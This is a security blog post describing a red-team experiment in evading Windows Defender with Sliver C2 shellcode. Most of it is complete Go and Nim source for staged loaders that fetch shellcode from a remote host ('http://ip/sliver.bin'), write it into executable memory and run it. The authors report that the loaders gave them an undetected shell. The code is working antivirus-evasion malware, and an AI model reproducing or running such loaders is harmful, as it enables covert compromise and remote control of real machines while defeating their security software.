Defeating Window Defender using Different Programming Languages with Sliver C2 Shellcode
Have you ever wondered about the AV bypass capabilities of Sliver shellcode?
We did! To our surprise, we were able to evade Windows Defender regardless of the programming language used and the payload types — Stageless or Staged.
In this experiment, we picked 3 programming languages based on their popularity from most common to least used.
3 Different Programming Languages: C#, Go and Nim
One in Common: Sliver Shellcode
Test Environment: Windows 10 x64
If you need help on how to generate Sliver shellcode, you may refer to our previous post https://medium.com/@numencyberlabs/looking-for-the-sliver-lining-getting-system-shell-with-sliver-c2-83624d074a3f
Sliver’s official site comes with examples of Stager codes written in C#, which will be eliminated by Window Defender. In order to evade AV, we need to tweak the C# code to the use of a less common memory allocation library.
In this article, we also shared the source code of the staged payload using Go and Nim. The inner workings of the stageless payload is pretty much the same — instead of placing the shellcode remotely, the shellcode will be a self-contained package.
Overall Assessment Results
The results from VirusTotal were pretty unexpected, we initially assumed that the least used programming language would have better odds at escaping detection. We also tested these payloads and were able to get a shell in Sliver C2 without being detected by Defender.
Bypassing Window Defender with Staged Payloads
- Golang
package mainimport (
"io/ioutil"
"net/http"
"syscall"
"unsafe"
)const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
RtlMoveMemory = ntdll.MustFindProc("RtlMoveMemory")
)func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}func main() { response, _ := http.Get("http://ip/sliver.bin")
defer response.Body.Close() charcode, _ := ioutil.ReadAll(response.Body) addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) _, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))for j := 0; j < len(charcode); j++ {
charcode[j] = 0
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
2. Nim
import winim
import winim/lean
import httpclientfunc toByteSeq*(str: string): seq[byte] {.inline.} =
@(str.toOpenArrayByte(0, str.high))proc DownloadExecute(url:string):void= var client = newHttpClient()
var response: string = client.getContent(url)
var shellcode: seq[byte] = toByteSeq(response) let tProcess = GetCurrentProcessId()
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
let rPtr = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](len(shellcode)),0x3000,PAGE_EXECUTE_READ_WRITE)defer: CloseHandle(pHandle)
copyMem(rPtr, addr shellcode[0], len(shellcode))
let f = cast[proc(){.nimcall.}](rPtr)
f()when defined(windows):
when isMainModule:
DownloadExecute("http://ip/sliver.bin")
Conclusion
Although the article may look short and sweet, it takes a lot of painstaking effort to get to this point, especially whilst working with large size shellcode in VS IDE and unfamiliar Nim programing language.
In future articles, we shall share more on the testing results with other AV software such as BitDefender.
If you are also interested in the C# code payload, do reach out to us at Numen CyberLab labs@numencyber.com and we will do our best to reach out to you via email.
Cheers and see you next time!